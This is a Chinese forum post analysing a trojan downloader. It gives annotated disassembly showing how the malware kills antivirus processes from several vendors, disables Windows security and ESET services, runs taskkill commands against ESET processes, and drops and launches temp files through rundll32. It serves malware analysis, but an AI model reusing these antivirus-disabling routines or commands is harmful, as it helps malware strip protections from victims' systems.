社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
发帖 回复
« 返回列表
  • 203阅读
  • 3回复

[分享]Trojan.DL.Win32.Small.zuq简单分析

 楼层直达
z3960 
级别: 茶馆馆主
发帖
770867
飞翔币
207694
威望
215657
飞扬币
2511641
信誉值
8
只看楼主 更多操作 0 发表于: 2023-05-18
[font=-apple-system, BlinkMacSystemFont, &quot]文件: gr.exe[font=-apple-system, BlinkMacSystemFont, &quot]大小: 29184 字节[font=-apple-system, BlinkMacSystemFont, &quot]SHA1: 12C60FEFAE4865F8BFB8E9D169FA82A117F9BD1A[font=-apple-system, BlinkMacSystemFont, &quot]加壳类型:UPX[font=-apple-system, BlinkMacSystemFont, &quot]开发语言:Borland Delphi[font=-apple-system, BlinkMacSystemFont, &quot]瑞星扫描:Trojan.DL.Win32.Small.zuq[font=-apple-system, BlinkMacSystemFont, &quot]简单行为分析[font=-apple-system, BlinkMacSystemFont, &quot]1.创建一个名为"abcf"的互斥体：

  1. 004039E0    68 2C344000     push    0040342C                         ; ASCII "abcf"
  2. 004039E5    6A 01           push    1
  3. 004039E7    53              push    ebx
  4. 004039E8    FF15 64104000   call    dword ptr [<&kernel32.CreateMute>; 创建一个名为"abcf"的互斥体
  5. 004039EE    FF15 60104000   call    dword ptr [<&kernel32.GetLastErr>; ntdll.RtlGetLastWin32Error
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]2.禁止"wscsvc"服务：

  1. 004043F7    55              push    ebp
  2. 004043F8    8BEC            mov     ebp, esp
  3. 004043FA    83EC 1C         sub     esp, 1C
  4. 004043FD    68 3F000F00     push    0F003F
  5. 00404402    6A 00           push    0
  6. 00404404    FF75 08         push    dword ptr [ebp+8]
  7. 00404407    FF15 34104000   call    dword ptr [<&ADVAPI32.OpenSCMana>; 打开服务管理器
  8. 0040440D    85C0            test    eax, eax
  9. 0040440F    8945 08         mov     dword ptr [ebp+8], eax
  10. 00404412    74 47           je      short 0040445B
  11. 00404414    56              push    esi
  12. 00404415    57              push    edi
  13. 00404416    68 FF010F00     push    0F01FF
  14. 0040441B    FF75 0C         push    dword ptr [ebp+C]
  15. 0040441E    50              push    eax
  16. 0040441F    FF15 04104000   call    dword ptr [<&ADVAPI32.OpenServic>; 打开wscsvc服务
  17. 00404425    8B3D 08104000   mov     edi, dword ptr [<&ADVAPI32.Close>; ADVAPI32.CloseServiceHandle
  18. 0040442B    8BF0            mov     esi, eax
  19. 0040442D    85F6            test    esi, esi
  20. 0040442F    74 23           je      short 00404454
  21. 00404431    807D 10 00      cmp     byte ptr [ebp+10], 0
  22. 00404435    74 0D           je      short 00404444
  23. 00404437    6A 00           push    0
  24. 00404439    6A 00           push    0
  25. 0040443B    56              push    esi
  26. 0040443C    FF15 24104000   call    dword ptr [<&ADVAPI32.StartServi>; ADVAPI32.StartServiceA
  27. 00404442    EB 0D           jmp     short 00404451
  28. 00404444    8D45 E4         lea     eax, dword ptr [ebp-1C]
  29. 00404447    50              push    eax
  30. 00404448    6A 01           push    1
  31. 0040444A    56              push    esi
  32. 0040444B    FF15 30104000   call    dword ptr [<&ADVAPI32.ControlSer>; 通过ControlService函数操作停止并禁止wscsvc服务
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]3.获取系统进程快照，将要查找的进程名字符串动态恢复到内存中后挂靠“.exe”，然后通过比较判断进程中是否存在“rstray.exe、rsnetsvr.exe、ccenter.exe、scanfrm.exe、ravmond.exe、ravtask.exe、rsmain.exe、rfwsrv.exe、ras.exe、kavstart.exe、kissvc.exe、kamilmon.exe、kpfw32.exe、kpfwsvc.exe、kwatch.exe、kaccore.exe”，如果存在则通过释放内存的方法结束进程

  1. 00403DD0    6A 00           push    0
  2. 00403DD2    6A 02           push    2
  3. 00403DD4    E8 A5060000     call    <jmp.&kernel32.CreateToolhelp32S>; 创建系统快照
  4. 00403DD9    8BF0            mov     esi, eax
  5. 00403DDB    6A 01           push    1
  6. 00403DDD    897424 0C       mov     dword ptr [esp+C], esi
  7. 00403DE1    FF15 A8104000   call    dword ptr [<&kernel32.Sleep>]    ; kernel32.Sleep
  8. 00403DE7    83FE FF         cmp     esi, -1
  9. 00403DEA    75 07           jnz     short 00403DF3
  10. 00403DEC    33C0            xor     eax, eax
  11. 00403DEE    E9 77010000     jmp     00403F6A
  12. 00403DF3    53              push    ebx
  13. 00403DF4    55              push    ebp
  14. 00403DF5    8D4424 14       lea     eax, dword ptr [esp+14]
  15. 00403DF9    57              push    edi
  16. 00403DFA    50              push    eax
  17. 00403DFB    56              push    esi
  18. 00403DFC    C74424 20 28010>mov     dword ptr [esp+20], 128
  19. 00403E04    E8 6F060000     call    <jmp.&kernel32.Process32First>   ; 获取快照中的第一个进程句柄
  20. 00403E09    BB B0454000     mov     ebx, 004045B0                    
  21. 00403E0E    85C0            test    eax, eax
  22. 00403E10    0F84 DD000000   je      00403EF3
  23. 00403E16    33ED            xor     ebp, ebp
  24. 00403E18    8B3CAD 08334000 mov     edi, dword ptr [ebp*4+403308]
  25. 00403E1F    83C9 FF         or      ecx, FFFFFFFF
  26. 00403E22    33C0            xor     eax, eax
  27. 00403E24    53              push    ebx
  28. 00403E25    F2:AE           repne   scas byte ptr es:[edi]
  29. 00403E27    F7D1            not     ecx
  30. 00403E29    2BF9            sub     edi, ecx
  31. 00403E2B    8BC1            mov     eax, ecx
  32. 00403E2D    8BF7            mov     esi, edi
  33. 00403E2F    8BFB            mov     edi, ebx
  34. 00403E31    C1E9 02         shr     ecx, 2
  35. 00403E34    F3:A5           rep     movs dword ptr es:[edi], dword p>
  36. 00403E36    8BC8            mov     ecx, eax
  37. 00403E38    83E1 03         and     ecx, 3
  38. 00403E3B    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  39. 00403E3D    E8 35FEFFFF     call    00403C77                         ; 还原字符串到内存
  40. 00403E42    59              pop     ecx
  41. 00403E43    BF AC344000     mov     edi, 004034AC                    ; ASCII ".exe"
  42. 00403E48    83C9 FF         or      ecx, FFFFFFFF
  43. 00403E4B    33C0            xor     eax, eax
  44. 00403E4D    F2:AE           repne   scas byte ptr es:[edi]
  45. 00403E4F    F7D1            not     ecx
  46. 00403E51    2BF9            sub     edi, ecx
  47. 00403E53    8BF7            mov     esi, edi
  48. 00403E55    8BD1            mov     edx, ecx
  49. 00403E57    8BFB            mov     edi, ebx
  50. 00403E59    83C9 FF         or      ecx, FFFFFFFF
  51. 00403E5C    F2:AE           repne   scas byte ptr es:[edi]
  52. 00403E5E    8BCA            mov     ecx, edx
  53. 00403E60    4F              dec     edi
  54. 00403E61    C1E9 02         shr     ecx, 2
  55. 00403E64    F3:A5           rep     movs dword ptr es:[edi], dword p>
  56. 00403E66    8BCA            mov     ecx, edx
  57. 00403E68    83E1 03         and     ecx, 3
  58. 00403E6B    85ED            test    ebp, ebp
  59. 00403E6D    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  60. 00403E6F    75 3A           jnz     short 00403EAB
  61. 00403E71    8BFB            mov     edi, ebx
  62. 00403E73    83C9 FF         or      ecx, FFFFFFFF
  63. 00403E76    F2:AE           repne   scas byte ptr es:[edi]
  64. 00403E78    F7D1            not     ecx
  65. 00403E7A    2BF9            sub     edi, ecx
  66. 00403E7C    B8 98444000     mov     eax, 00404498                    
  67. 00403E81    8BD1            mov     edx, ecx
  68. 00403E83    8BF7            mov     esi, edi
  69. 00403E85    8BF8            mov     edi, eax
  70. 00403E87    50              push    eax
  71. 00403E88    C1E9 02         shr     ecx, 2
  72. 00403E8B    F3:A5           rep     movs dword ptr es:[edi], dword p>
  73. 00403E8D    8BCA            mov     ecx, edx
  74. 00403E8F    8D4424 40       lea     eax, dword ptr [esp+40]
  75. 00403E93    83E1 03         and     ecx, 3
  76. 00403E96    50              push    eax
  77. 00403E97    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  78. 00403E99    FF15 88104000   call    dword ptr [<&kernel32.lstrcmpi>] ; 比较
  79. 00403E9F    85C0            test    eax, eax
  80. 00403EA1    75 08           jnz     short 00403EAB                   ; 如果不同跳00403EAB
  81. 00403EA3    C74424 10 01000>mov     dword ptr [esp+10], 1
  82. 00403EAB    8BFB            mov     edi, ebx
  83. 00403EAD    83C9 FF         or      ecx, FFFFFFFF
  84. 00403EB0    33C0            xor     eax, eax
  85. 00403EB2    F2:AE           repne   scas byte ptr es:[edi]
  86. 00403EB4    F7D1            not     ecx
  87. 00403EB6    49              dec     ecx
  88. 00403EB7    83F9 06         cmp     ecx, 6
  89. 00403EBA    76 1A           jbe     short 00403ED6
  90. 00403EBC    8D4424 3C       lea     eax, dword ptr [esp+3C]
  91. 00403EC0    53              push    ebx
  92. 00403EC1    50              push    eax
  93. 00403EC2    FF15 88104000   call    dword ptr [<&kernel32.lstrcmpi>] ; 比较
  94. 00403EC8    85C0            test    eax, eax
  95. 00403ECA    75 0A           jnz     short 00403ED6                   ; 如果不同跳00403ED6
  96. 00403ECC    FF7424 20       push    dword ptr [esp+20]
  97. 00403ED0    E8 86FEFFFF     call    00403D5B                         ; 如果上述进程存在则顺序走到这，通过VirtualFreeEx释放内存结束进程
  98. 00403ED5    59              pop     ecx
  99. 00403ED6    45              inc     ebp
  100. 00403ED7    83FD 12         cmp     ebp, 12
  101. 00403EDA  ^ 0F8E 38FFFFFF   jle     00403E18
  102. 00403EE0    8D4424 18       lea     eax, dword ptr [esp+18]
  103. 00403EE4    50              push    eax
  104. 00403EE5    FF7424 18       push    dword ptr [esp+18]
  105. 00403EE9    E8 84050000     call    <jmp.&kernel32.Process32Next>     ; 获取下一个进程句柄
  106. 00403EEE  ^ E9 1BFFFFFF     jmp     00403E0E                          ; 跳00403E0E进行下一个比较
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]4.创建一个线程，主线程挂起

  1. 00403F8F    FF15 98104000   call    dword ptr [401098]               ; 创建线程
  2. 00403F95    8BF0            mov     esi, eax
  3. 00403F97    6A FF           push    -1
  4. 00403F99    56              push    esi
  5. 00403F9A    FF15 94104000   call    dword ptr [401094]               ; 等待线程退出
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]线程执行[font=-apple-system, BlinkMacSystemFont, &quot]获取临时文件夹目录，GetTickCount获取系统开机时间数挂靠“.t”后得到一个随机数文件名~1476b8.t，临时文件夹创建文件，解密字符串得到命令行“%temp%\~1476b8.t,AboutDlgProc 18”，通过解密字符串得到avp.exe、safeboxtray.exe、360tray.exe进程名，查找进程中是否存在以上进程，如果有则创建进程rundll32.exe执行命令行

  1. 0040422B    FF15 58104000   call    dword ptr [<&kernel32.GetTempPat>; 获取临时文件夹目录
  2. 00404231    FF15 54104000   call    dword ptr [<&kernel32.GetTickCou>; 获取系统开机时间数
  3. 00404237    83C0 03         add     eax, 3
  4. 0040423A    50              push    eax
  5. 0040423B    8D85 58FCFFFF   lea     eax, dword ptr [ebp-3A8]
  6. 00404241    50              push    eax
  7. 00404242    8D85 5CFDFFFF   lea     eax, dword ptr [ebp-2A4]
  8. 00404248    68 34354000     push    00403534                         ; %s~%x.t
  9. 0040424D    50              push    eax
  10. 0040424E    FF15 FC104000   call    dword ptr [<&USER32.wsprintfA>]  ; USER32.wsprintfA
  11. 00404254    8D85 5CFDFFFF   lea     eax, dword ptr [ebp-2A4]
  12. 0040425A    50              push    eax
  13. 0040425B    E8 6EF9FFFF     call    00403BCE                         ; 创建文件%temp%\~1476b8.t
  14. 00404260    83C4 14         add     esp, 14
  15. 00404263    68 F4010000     push    1F4
  16. 00404268    FF15 A8104000   call    dword ptr [<&kernel32.Sleep>]    ; kernel32.Sleep
  17. 0040426E    BF 30354000     mov     edi, 00403530
  18. 00404273    8BCB            mov     ecx, ebx
  19. 00404275    33C0            xor     eax, eax
  20. 00404277    8D95 60FEFFFF   lea     edx, dword ptr [ebp-1A0]
  21. 0040427D    F2:AE           repne   scas byte ptr es:[edi]
  22. 0040427F    F7D1            not     ecx
  23. 00404281    2BF9            sub     edi, ecx
  24. 00404283    8BF7            mov     esi, edi
  25. 00404285    8BC1            mov     eax, ecx
  26. 00404287    8BFA            mov     edi, edx
  27. 00404289    C1E9 02         shr     ecx, 2
  28. 0040428C    F3:A5           rep     movs dword ptr es:[edi], dword p>
  29. 0040428E    8BC8            mov     ecx, eax
  30. 00404290    33C0            xor     eax, eax
  31. 00404292    83E1 03         and     ecx, 3
  32. 00404295    8D95 60FEFFFF   lea     edx, dword ptr [ebp-1A0]
  33. 0040429B    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  34. 0040429D    8DBD 5CFDFFFF   lea     edi, dword ptr [ebp-2A4]
  35. 004042A3    8BCB            mov     ecx, ebx
  36. 004042A5    F2:AE           repne   scas byte ptr es:[edi]
  37. 004042A7    F7D1            not     ecx
  38. 004042A9    2BF9            sub     edi, ecx
  39. 004042AB    8BF7            mov     esi, edi
  40. 004042AD    8BFA            mov     edi, edx
  41. 004042AF    8BD1            mov     edx, ecx
  42. 004042B1    8BCB            mov     ecx, ebx
  43. 004042B3    F2:AE           repne   scas byte ptr es:[edi]
  44. 004042B5    8BCA            mov     ecx, edx
  45. 004042B7    4F              dec     edi
  46. 004042B8    C1E9 02         shr     ecx, 2
  47. 004042BB    F3:A5           rep     movs dword ptr es:[edi], dword p>
  48. 004042BD    8BCA            mov     ecx, edx
  49. 004042BF    8D45 CC         lea     eax, dword ptr [ebp-34]
  50. 004042C2    83E1 03         and     ecx, 3
  51. 004042C5    50              push    eax
  52. 004042C6    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  53. 004042C8    BE 20354000     mov     esi, 00403520                    ; :khqsn:^u:xqa
  54. 004042CD    8D7D CC         lea     edi, dword ptr [ebp-34]
  55. 004042D0    A5              movs    dword ptr es:[edi], dword ptr [e>
  56. 004042D1    A5              movs    dword ptr es:[edi], dword ptr [e>
  57. 004042D2    A5              movs    dword ptr es:[edi], dword ptr [e>
  58. 004042D3    66:A5           movs    word ptr es:[edi], word ptr [esi>
  59. 004042D5    E8 65F9FFFF     call    00403C3F                         ; 解密字符串“AboutDlgProc”
  60. 004042DA    8D7D CC         lea     edi, dword ptr [ebp-34]
  61. 004042DD    8BCB            mov     ecx, ebx
  62. 004042DF    33C0            xor     eax, eax
  63. 004042E1    8D95 60FEFFFF   lea     edx, dword ptr [ebp-1A0]
  64. 004042E7    F2:AE           repne   scas byte ptr es:[edi]
  65. 004042E9    F7D1            not     ecx
  66. 004042EB    2BF9            sub     edi, ecx
  67. 004042ED    8BF7            mov     esi, edi
  68. 004042EF    8BFA            mov     edi, edx
  69. 004042F1    8BD1            mov     edx, ecx
  70. 004042F3    8BCB            mov     ecx, ebx
  71. 004042F5    F2:AE           repne   scas byte ptr es:[edi]
  72. 004042F7    8BCA            mov     ecx, edx
  73. 004042F9    4F              dec     edi
  74. 004042FA    C1E9 02         shr     ecx, 2
  75. 004042FD    F3:A5           rep     movs dword ptr es:[edi], dword p>
  76. 004042FF    8BCA            mov     ecx, edx
  77. 00404301    8D95 60FEFFFF   lea     edx, dword ptr [ebp-1A0]
  78. 00404307    83E1 03         and     ecx, 3
  79. 0040430A    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  80. 0040430C    BF 1C354000     mov     edi, 0040351C                    ;  18
  81. 00404311    8BCB            mov     ecx, ebx
  82. 00404313    F2:AE           repne   scas byte ptr es:[edi]
  83. 00404315    F7D1            not     ecx
  84. 00404317    2BF9            sub     edi, ecx
  85. 00404319    8BF7            mov     esi, edi
  86. 0040431B    8BFA            mov     edi, edx
  87. 0040431D    8BD1            mov     edx, ecx
  88. 0040431F    8BCB            mov     ecx, ebx
  89. 00404321    F2:AE           repne   scas byte ptr es:[edi]
  90. 00404323    8BCA            mov     ecx, edx
  91. 00404325    4F              dec     edi
  92. 00404326    C1E9 02         shr     ecx, 2
  93. 00404329    F3:A5           rep     movs dword ptr es:[edi], dword p>
  94. 0040432B    8BCA            mov     ecx, edx
  95. 0040432D    8D45 E8         lea     eax, dword ptr [ebp-18]
  96. 00404330    83E1 03         and     ecx, 3
  97. 00404333    50              push    eax
  98. 00404334    F3:A4           rep     movs byte ptr es:[edi], byte ptr>
  99. 00404336    BE 14354000     mov     esi, 00403514                    ; o}vgp
  100. 0040433B    8D7D E8         lea     edi, dword ptr [ebp-18]
  101. 0040433E    A5              movs    dword ptr es:[edi], dword ptr [e>
  102. 0040433F    66:A5           movs    word ptr es:[edi], word ptr [esi>
  103. 00404341    BE 0C354000     mov     esi, 0040350C                    ; 筒断
  104. 00404346    8D7D F0         lea     edi, dword ptr [ebp-10]
  105. 00404349    A5              movs    dword ptr es:[edi], dword ptr [e>
  106. 0040434A    A4              movs    byte ptr es:[edi], byte ptr [esi>
  107. 0040434B    E8 EFF8FFFF     call    00403C3F
  108. 00404350    8D45 F0         lea     eax, dword ptr [ebp-10]
  109. 00404353    50              push    eax
  110. 00404354    E8 E6F8FFFF     call    00403C3F
  111. 00404359    BE FC344000     mov     esi, 004034FC
  112. 0040435E    8D7D AC         lea     edi, dword ptr [ebp-54]
  113. 00404361    A5              movs    dword ptr es:[edi], dword ptr [e>
  114. 00404362    A5              movs    dword ptr es:[edi], dword ptr [e>
  115. 00404363    A5              movs    dword ptr es:[edi], dword ptr [e>
  116. 00404364    A1 F4344000     mov     eax, dword ptr [4034F4]
  117. 00404369    A5              movs    dword ptr es:[edi], dword ptr [e>
  118. 0040436A    BE E8344000     mov     esi, 004034E8
  119. 0040436F    8D7D DC         lea     edi, dword ptr [ebp-24]
  120. 00404372    A5              movs    dword ptr es:[edi], dword ptr [e>
  121. 00404373    8945 F8         mov     dword ptr [ebp-8], eax
  122. 00404376    A1 F8344000     mov     eax, dword ptr [4034F8]
  123. 0040437B    A5              movs    dword ptr es:[edi], dword ptr [e>
  124. 0040437C    8945 FC         mov     dword ptr [ebp-4], eax
  125. 0040437F    8D45 F8         lea     eax, dword ptr [ebp-8]
  126. 00404382    50              push    eax
  127. 00404383    A5              movs    dword ptr es:[edi], dword ptr [e>
  128. 00404384    E8 EEF8FFFF     call    00403C77                           ; 解密字符串“avp.exe”
  129. 00404389    8D45 AC         lea     eax, dword ptr [ebp-54]
  130. 0040438C    50              push    eax
  131. 0040438D    E8 E5F8FFFF     call    00403C77                           ; 解密“safeboxtray.exe”
  132. 00404392    8D45 DC         lea     eax, dword ptr [ebp-24]
  133. 00404395    50              push    eax
  134. 00404396    E8 DCF8FFFF     call    00403C77                           ; 解密“360tray.exe”
  135. 0040439B    8D45 DC         lea     eax, dword ptr [ebp-24]
  136. 0040439E    50              push    eax
  137. 0040439F    E8 12FDFFFF     call    004040B6                           ; 查找进程中是否存在360tray.exe                    
  138. 004043A4    8BF0            mov     esi, eax
  139. 004043A6    8D45 AC         lea     eax, dword ptr [ebp-54]
  140. 004043A9    50              push    eax
  141. 004043AA    E8 07FDFFFF     call    004040B6                           ; 查找进程中是否存在safeboxtray.exe
  142. 004043AF    0BF0            or      esi, eax
  143. 004043B1    8D45 F8         lea     eax, dword ptr [ebp-8]
  144. 004043B4    50              push    eax
  145. 004043B5    E8 FCFCFFFF     call    004040B6                           ; 查找进程中是否存在avp.exe
  146. 004043BA    83C4 24         add     esp, 24
  147. 004043BD    0BF0            or      esi, eax
  148. 004043BF    74 31           je      short 004043F2                     ; 如果不存在跳004043F2
  149. 004043C1    8D85 60FEFFFF   lea     eax, dword ptr [ebp-1A0]
  150. 004043C7    50              push    eax
  151. 004043C8    8D85 48FFFFFF   lea     eax, dword ptr [ebp-B8]
  152. 004043CE    50              push    eax
  153. 004043CF    E8 62FDFFFF     call    00404136                           ; 如果存在以上某个进程则直走到这，创建进程rundll32.exe执行命令行“%Temp%\~1476b8.t,AboutDlgProc 18”
  154. 004043D4    8B35 A8104000   mov     esi, dword ptr [<&kernel32.Sleep>; kernel32.Sleep
  155. 004043DA    6A 64           push    64
  156. 004043DC    FFD6            call    esi
  157. 004043DE    8D85 5CFDFFFF   lea     eax, dword ptr [ebp-2A4]
  158. 004043E4    50              push    eax
  159. 004043E5    FF15 C4104000   call    dword ptr [<&kernel32.DeleteFile>; 删除%temp%\~1476b8.t
  160. 004043EB    68 204E0000     push    4E20
  161. 004043F0    FFD6            call    esi                              ; 暂停20秒
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]退出线程

  1. 7C80B714    E8 CF090000     call    ExitThread
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]5.尝试打开erkn服务，如果服务存在修改启动方式禁止服务，并执行命令行结束ekrn.exe和egui.exe进程

  1. 00404017    BE E0344000     mov     esi, 004034E0                    ; ASCII "suxp"
  2. 0040401C    8D7D F8         lea     edi, dword ptr [ebp-8]
  3. 0040401F    8D45 F8         lea     eax, dword ptr [ebp-8]
  4. 00404022    A5              movs    dword ptr es:[edi], dword ptr [e>
  5. 00404023    50              push    eax
  6. 00404024    A4              movs    byte ptr es:[edi], byte ptr [esi>
  7. 00404025    E8 15FCFFFF     call    00403C3F                         ; 解密字符串“ekrn”
  8. 0040402A    8D45 F8         lea     eax, dword ptr [ebp-8]
  9. 0040402D    6A 04           push    4
  10. 0040402F    50              push    eax
  11. 00404030    E8 7CFFFFFF     call    00403FB1                         ; 尝试打开ekrn服务，如果服务存在就通过ChangeServiceConfigA修改启动方式禁止服务
  12. 00404035    BE D4344000     mov     esi, 004034D4
  13. 0040403A    8D7D EC         lea     edi, dword ptr [ebp-14]
  14. 0040403D    A5              movs    dword ptr es:[edi], dword ptr [e>
  15. 0040403E    A5              movs    dword ptr es:[edi], dword ptr [e>
  16. 0040403F    8D45 EC         lea     eax, dword ptr [ebp-14]
  17. 00404042    50              push    eax
  18. 00404043    A4              movs    byte ptr es:[edi], byte ptr [esi>
  19. 00404044    E8 F6FBFFFF     call    00403C3F                          ; 解密字符串"taskkill"
  20. 00404049    BE C4344000     mov     esi, 004034C4
  21. 0040404E    8D7D DC         lea     edi, dword ptr [ebp-24]
  22. 00404051    A5              movs    dword ptr es:[edi], dword ptr [e>
  23. 00404052    A5              movs    dword ptr es:[edi], dword ptr [e>
  24. 00404053    A5              movs    dword ptr es:[edi], dword ptr [e>
  25. 00404054    8D45 DC         lea     eax, dword ptr [ebp-24]
  26. 00404057    50              push    eax
  27. 00404058    A5              movs    dword ptr es:[edi], dword ptr [e>
  28. 00404059    E8 E1FBFFFF     call    00403C3F0012FF14   0012FF44        ; 解密字符串"/f /im ekrn.exe"
  29. 0040405E    BE B4344000     mov     esi, 004034B4
  30. 00404063    8D7D CC         lea     edi, dword ptr [ebp-34]
  31. 00404066    A5              movs    dword ptr es:[edi], dword ptr [e>
  32. 00404067    A5              movs    dword ptr es:[edi], dword ptr [e>
  33. 00404068    A5              movs    dword ptr es:[edi], dword ptr [e>
  34. 00404069    8D45 CC         lea     eax, dword ptr [ebp-34]
  35. 0040406C    50              push    eax
  36. 0040406D    A5              movs    dword ptr es:[edi], dword ptr [e>
  37. 0040406E    E8 CCFBFFFF     call    00403C3F                           ; 解密字符串"/f /im egui.exe"
  38. 00404073    8B35 B4104000   mov     esi, dword ptr [4010B4]          ; kernel32.GetCurrentThreadId
  39. 00404079    83C4 18         add     esp, 18
  40. 0040407C    FFD6            call    esi
  41. 0040407E    33DB            xor     ebx, ebx
  42. 00404080    8B3D F0104000   mov     edi, dword ptr [4010F0]        
  43. 00404086    53              push    ebx
  44. 00404087    8D45 DC         lea     eax, dword ptr [ebp-24]
  45. 0040408A    53              push    ebx
  46. 0040408B    50              push    eax
  47. 0040408C    8D45 EC         lea     eax, dword ptr [ebp-14]
  48. 0040408F    50              push    eax
  49. 00404090    53              push    ebx
  50. 00404091    53              push    ebx
  51. 00404092    FFD7            call    edi                              ; ShellExecuteA运行taskkill.exe,执行“taskkill.exe /f /im ekrn.exe”
  52. 00404094    68 D0070000     push    7D0
  53. 00404099    FF15 A8104000   call    dword ptr [4010A8]               ; 暂停2秒
  54. 0040409F    FFD6            call    esi
  55. 004040A1    53              push    ebx
  56. 004040A2    8D45 CC         lea     eax, dword ptr [ebp-34]
  57. 004040A5    53              push    ebx
  58. 004040A6    50              push    eax
  59. 004040A7    8D45 EC         lea     eax, dword ptr [ebp-14]
  60. 004040AA    50              push    eax
  61. 004040AB    53              push    ebx
  62. 004040AC    53              push    ebx
  63. 004040AD    FFD7            call    edi                               ; ShellExecuteA运行taskkill.exe,执行“taskkill.exe /f /im egui.exe”
  65. 禁止ekrn服务部分代码
  66. 00404030    E8 7CFFFFFF     call    00403FB1
  68. 进入call代码
  69. 00403FB1    55              push    ebp
  70. 00403FB2    8BEC            mov     ebp, esp
  71. 00403FB4    51              push    ecx
  72. 00403FB5    56              push    esi
  73. 00403FB6    33F6            xor     esi, esi
  74. 00403FB8    68 3F000F00     push    0F003F
  75. 00403FBD    56              push    esi
  76. 00403FBE    56              push    esi
  77. 00403FBF    FF15 34104000   call    dword ptr [401034]               ; 打开服务管理器
  78. 00403FC5    3BC6            cmp     eax, esi
  79. 00403FC7    8945 FC         mov     dword ptr [ebp-4], eax
  80. 00403FCA    74 3F           je      short 0040400B
  81. 00403FCC    53              push    ebx
  82. 00403FCD    57              push    edi
  83. 00403FCE    68 FF010F00     push    0F01FF
  84. 00403FD3    FF75 08         push    dword ptr [ebp+8]
  85. 00403FD6    50              push    eax
  86. 00403FD7    FF15 04104000   call    dword ptr [401004]               ; 打开ekrn服务
  87. 00403FDD    8B3D 08104000   mov     edi, dword ptr [401008]          ; ADVAPI32.CloseServiceHandle
  88. 00403FE3    8BD8            mov     ebx, eax
  89. 00403FE5    3BDE            cmp     ebx, esi
  90. 00403FE7    74 1B           je      short 00404004                   ; 如果不存在该服务跳00404004
  91. 00403FE9    56              push    esi
  92. 00403FEA    56              push    esi
  93. 00403FEB    56              push    esi
  94. 00403FEC    56              push    esi
  95. 00403FED    56              push    esi
  96. 00403FEE    56              push    esi
  97. 00403FEF    56              push    esi
  98. 00403FF0    6A FF           push    -1
  99. 00403FF2    FF75 0C         push    dword ptr [ebp+C]
  100. 00403FF5    68 10010000     push    110
  101. 00403FFA    53              push    ebx
  102. 00403FFB    FF15 2C104000   call    dword ptr [40102C]               ; 若存在该服务顺序走到这，通过ChangeServiceConfigA修改服务启动方式，禁止ekrn服务
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]6.临时文件夹创建文件

  1. 004038E9    55              push    ebp
  2. 004038EA    8BEC            mov     ebp, esp
  3. 004038EC    83EC 70         sub     esp, 70
  4. 004038EF    53              push    ebx
  5. 004038F0    56              push    esi
  6. 004038F1    57              push    edi
  7. 004038F2    BE 14344000     mov     esi, 00403414
  8. 004038F7    8D7D F4         lea     edi, dword ptr [ebp-C]
  9. 004038FA    8D45 F4         lea     eax, dword ptr [ebp-C]
  10. 004038FD    A5              movs    dword ptr es:[edi], dword ptr [e>
  11. 004038FE    A5              movs    dword ptr es:[edi], dword ptr [e>
  12. 004038FF    50              push    eax
  13. 00403900    66:A5           movs    word ptr es:[edi], word ptr [esi>
  14. 00403902    E8 38030000     call    00403C3F                         ; 解密字符串“%s~%x.tmp”
  15. 00403907    59              pop     ecx                              ; 0012FF5C
  16. 00403908    8D45 90         lea     eax, dword ptr [ebp-70]
  17. 0040390B    50              push    eax
  18. 0040390C    6A 64           push    64
  19. 0040390E    FF15 58104000   call    dword ptr [401058]               ; 获取临时文件夹目录%temp%
  20. 00403914    8B3D 54104000   mov     edi, dword ptr [401054]        
  21. 0040391A    FFD7            call    edi                              ; 获取系统开机时间数得到一组随机数字
  22. 0040391C    83C0 16         add     eax, 16
  23. 0040391F    8B1D FC104000   mov     ebx, dword ptr [4010FC]          ; USER32.wsprintfA
  24. 00403925    50              push    eax
  25. 00403926    8D45 90         lea     eax, dword ptr [ebp-70]
  26. 00403929    50              push    eax
  27. 0040392A    8D45 F4         lea     eax, dword ptr [ebp-C]
  28. 0040392D    BE CC454000     mov     esi, 004045CC
  29. 00403932    50              push    eax
  30. 00403933    56              push    esi
  31. 00403934    FFD3            call    ebx                              ; 将得到的数字字符输入缓冲区得到映像路径"%temp%\~74e66a.tmp"
  32. 00403936    56              push    esi
  33. 00403937    68 10344000     push    00403410                         ; ASCII "ico"
  34. 0040393C    68 0C344000     push    0040340C
  35. 00403941    E8 6AFEFFFF     call    004037B0
  36. 00403946    83C4 1C         add     esp, 1C
  37. 00403949    85C0            test    eax, eax
  38. 0040394B    74 16           je      short 00403963
  39. 0040394D    68 08344000     push    00403408                         ; ASCII "xx"
  40. 00403952    FF15 C4104000   call    dword ptr [4010C4]               ; kernel32.DeleteFileA
  41. 00403958    85C0            test    eax, eax
  42. 0040395A    75 07           jnz     short 00403963
  43. 0040395C    56              push    esi
  44. 0040395D    E8 3EFFFFFF     call    004038A0                         ; 创建文件%temp%\~74e66a.tmp(一个exe的可执行文件)
  45. 进入call代码
  46. 004038AC    6A 01           push    1
  47. 004038AE    68 000000C0     push    C0000000
  48. 004038B3    FF75 08         push    dword ptr [ebp+8]
  49. 004038B6    FF15 B0104000   call    dword ptr [4010B0]               ; 创建文件
  50. 004038BC    56              push    esi
  51. 004038BD    8BF8            mov     edi, eax
  52. 004038BF    56              push    esi
  53. 004038C0    6A 01           push    1
  54. 004038C2    57              push    edi
  55. 004038C3    FF15 50104000   call    dword ptr [401050]               ; 设置文件指针
  56. 004038C9    8D45 08         lea     eax, dword ptr [ebp+8]
  57. 004038CC    56              push    esi
  58. 004038CD    50              push    eax
  59. 004038CE    6A 01           push    1
  60. 004038D0    68 00344000     push    00403400
  61. 004038D5    57              push    edi
  62. 004038D6    FF15 70104000   call    dword ptr [401070]               ; 写入文件
  63. 00403962    59              pop     ecx
  64. 00403963    FFD7            call    edi                              ; 获取系统开机时间数
  65. 00403965    83C0 15         add     eax, 15
  66. 00403968    BE AC444000     mov     esi, 004044AC
